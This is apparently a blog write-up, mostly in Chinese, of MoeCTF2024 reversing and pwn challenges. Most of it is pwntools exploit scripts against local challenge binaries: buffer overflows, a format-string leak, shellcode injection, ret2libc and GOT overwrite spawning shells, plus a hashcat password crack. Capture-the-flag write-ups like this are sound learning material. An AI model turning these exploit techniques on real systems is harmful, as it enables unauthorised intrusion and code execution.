0x44, 0xF1, 0x37, 0xAF, 0x26, 0x3A, 0x8F]

# xmm3=0x3000000020000000100000000
# xmm2=0x0FF000000FF000000FF000000FF

# ecx=0
# esi=0x15151515151515151515151515151515
# edx=0x14141414141414141414141414141414
# (((ecx+xmm3)&xmm2+esi)^input1[ecx])+edx
#
# (input1[0x38]^0x4e)+0x14
#
# xmm3=0x3000000020000000100000000
# xmm2=0x0FF000000FF000000FF000000FF
# edx=0x1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A
# dsi=0x14141414141414141414141414141414
# (((ecx+xmm3)&xmm2+edx)^input1[ecx])+esi
#
# (input1[0x38]^0x53)+0x14
#
# xmm3=0x3000000020000000100000000
# xmm2=0x0FF000000FF000000FF000000FF
# edx=0x19191919191919191919191919191919
# esi=0x14141414141414141414141414141414
# (((ecx+xmm3)&xmm2+edx)^input1[ecx])+esi
#
# (input1[0x38]^0x51)+0x14


for i in range(len(a)):
a[i] = (a[i] - 0x14) ^ (i+0x19)
a[i] = (a[i] - 0x14) ^ (i+0x1a)
a[i] = (a[i] - 0x14) ^ (i+0x15)
print(chr((a[i]+256)%256),end='')


#moectf{w1Nd0Ws_S3H_15_A_g0oD_m37h0d_70_h4nd13_EXCEPTI0NS}

闻风而动-2

先脱壳

根据调试发现一次生成一位

aaaaaaaa:^0x44 ^0x1d ^0x4a ^0x7 ^0x44 ^0x49 ^0x1b ^0x5e

abcdegh:^0x44 ^0x1d ^0x4a ^0x7 ^0x44 ^0x49 ^0x1b ^0x5e

得出结论每一位异或的数固定,后续发现没什么用

将流量包转为22000文件

.\hashcat -m 22000 -a 3 output.22000 ?1?1?1?1?1?1?1?1 -1 hilmnoprsuvwxyz爆破22min得到密码pzyisxnn

得到服务器端加密密钥4g3n71u0

findcrypt发现有des

flag长度为66

把srv放在win虚拟机上,发现没成功

后续直接调试srv.exe,输入对应长度的flag和psw后输入ip和addr

32位长度高低位交换

调试发现不是标准des,不想做了

Pwn

入门指北

NotEnoughTime

用pwntools进行四则运算,注意发送的时候向下取整,因为结果是负数会wrong,直接str也是wrong

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from struct import pack
#from LibcSearcher import *

#filename='./lockedshell'
#elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('127.0.0.1',34401)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

ru("Let's begin with simple ones.\n")
sla("1 + 1 = ",b'2')
sla("4 / 3 - 1 = ",b'0')
ru("OK, then some tough ones. Be WELL PREPARED!\n")
for i in range(20):
print("i=",i)
data=ru(" = ")
exp = data.decode().split('=')[0].replace('\n', '').replace(' ', '')
exp=exp.replace('\n', '').replace(' ', '')
#print('exp:',exp)
a=eval(exp)
a=int(a)
if a<0:
a=a-1
sl(str(a).encode())
pr()
inter()

no_more_gets

溢出修改返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from struct import pack
#from LibcSearcher import *

filename='./lockedshell'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('127.0.0.1',42943)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

ret=0x40129E
payload=b'a'*0x58+p64(ret)+p64(0x401176)
sla("This is my own shell, enter the password or get out.\n",payload)
inter()

leak_sth

随机数固定在rsp+8处

泄露之后直接发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./pwn'
elf = ELF(filename)
context(arch = elf.arch,log_level = 'debug',os = 'linux')


debug = 1
if debug:
io = remote('127.0.0.1',33265)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

ru("What's your name?")
sl('%7$p')
ru("Your name:\n")
a1=io.recvuntil('\n',drop=True)
print('a1=',a1)
pay=int(a1.decode(),16)

sla("Give me the number\n",str(pay))
inter()

ezshellcode

溢出长度自己决定,开头输入shellcode后修改返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./pwn'
elf = ELF(filename)
context(arch = elf.arch,log_level = 'debug',os = 'linux')


debug = 1
if debug:
io = remote('127.0.0.1',38059)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

sla("Tell me your age:",b'256')
ru("Here is a gift for you :\n")
st=int(io.recvuntil('\n',drop=True),16)
print('st=',st)
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(0x68,b'a')+p64(st)
ru("What do you want to say?")
sl(payload)
inter()

prelibc

ret2libc,gadgets去libc里找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./prelibc'
elf = ELF(filename)
libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')


debug = 1
if debug:
io = remote('127.0.0.1',38311)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])

output = io.recvline_contains(b'I give you an address in libc:')
puts_addr = int(output.split(b': ')[1].strip().rstrip(b'.'), 16)
print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
pop_rdi=libc_base+0x2a3e5
ret=libc_base+0x29139
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
payload=b'a'*0x9+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
sla('> ',payload)
inter()

preshellcode

调用系统函数getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./preshellcode'
elf = ELF(filename)
context(arch = elf.arch,log_level = 'debug',os = 'linux')


debug = 1
if debug:
io = remote('127.0.0.1',36321)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

payload=asm(shellcraft.sh())
sla('Give me your code, and I will execute it.',payload)

inter()

prerandom

第一次随机可以预测且必须正确

用c跑出随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
struct tm *local_time;
time_t timer;
unsigned int secret;
unsigned int guess;

timer = time(0);
local_time = localtime(&timer);

srandom(local_time);

for (int i = 0; i < 10; i++) {

secret = random() % 90000 + 10000;
printf("%u,", secret);
}

return 0;
}
from pwn import *
from struct import pack
import random
import time
#from LibcSearcher import *

filename='./prerandom'
#elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(log_level = 'debug',os = 'linux')

debug = 0
if debug:
io = remote('127.0.0.1',33481)
else:
io = process(filename)

current_time = int(time.time())


local_time = time.localtime(current_time)
tm_yday = local_time.tm_yday
print('tm_yday=',tm_yday)

random.seed(0x1c)


def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

a=[42939,82233,11977,49364,43107,26433,12595,26204,20274,26550]
for i in range(0,10):
#secret = random.randint(10000,100000)
#print('secret=',secret)
sla("Guess a five-digit number I'm thinking of\n> ",str(a[i]))


sla("Guess a five-digit number I'm thinking of\n> ",'1')
sla("Guess a five-digit number I'm thinking of\n> ",'1')

inter()

flag_helper

不能直接读flag,open需要有参数flags

需要mmap开辟空间

需要mmap

等价于两条命令open(‘/flag’,0);mmap(7,34)(部分参数题目没问就省略了,7代表rwx,34是常见的flags值),fd012分别表示标准输入,输出,错误,加上flag前面open的两个文件,所以fd为5

pregot-1

got表可写

这里不能直接调用plt表,而是写0x401056

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from struct import pack
import random
import time
#from LibcSearcher import *

filename='./pregot'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('127.0.0.1',33953)
else:
io = process(filename)


def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb1():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

#gdb.attach(io)

#system_addr=elf.plt['system']
system_addr=0x401056
#print('sys:',hex(system_addr))
unreachable_addr=0x401196
payload=b'a'*0x10+p64(system_addr)+b'a'*0x20+p64(unreachable_addr)
s(payload)
inter()

给的是一个结构体,直接玩肯定玩不出来,看到数组想到下标越界

还能修改其实就是任意地址改写,直接把距离改大会告诉我不过,后面考虑改速度,速度大一点好像没事,不用距离刚刚好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from struct import pack
#from LibcSearcher import *

#filename='./lockedshell'
#elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('127.0.0.1',33241)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

ru('>')

sl('1')
sla('Which engine?\n','-16')
sla('Thrust in percentage (0 ~ 100).\n','32')
sl('1')
sla('Which engine?\n','-15')
sla('Thrust in percentage (0 ~ 100).\n','16')
sl('1')
sla('Which engine?\n','-5')
sla('Thrust in percentage (0 ~ 100).\n','50')


inter()

MoeCTF2024部分Re与Pwn
https://j1ya-22.github.io/2024/10/12/MoeCTF2024部分Re与Pwn/
作者
j1ya
发布于
2024年10月12日
许可协议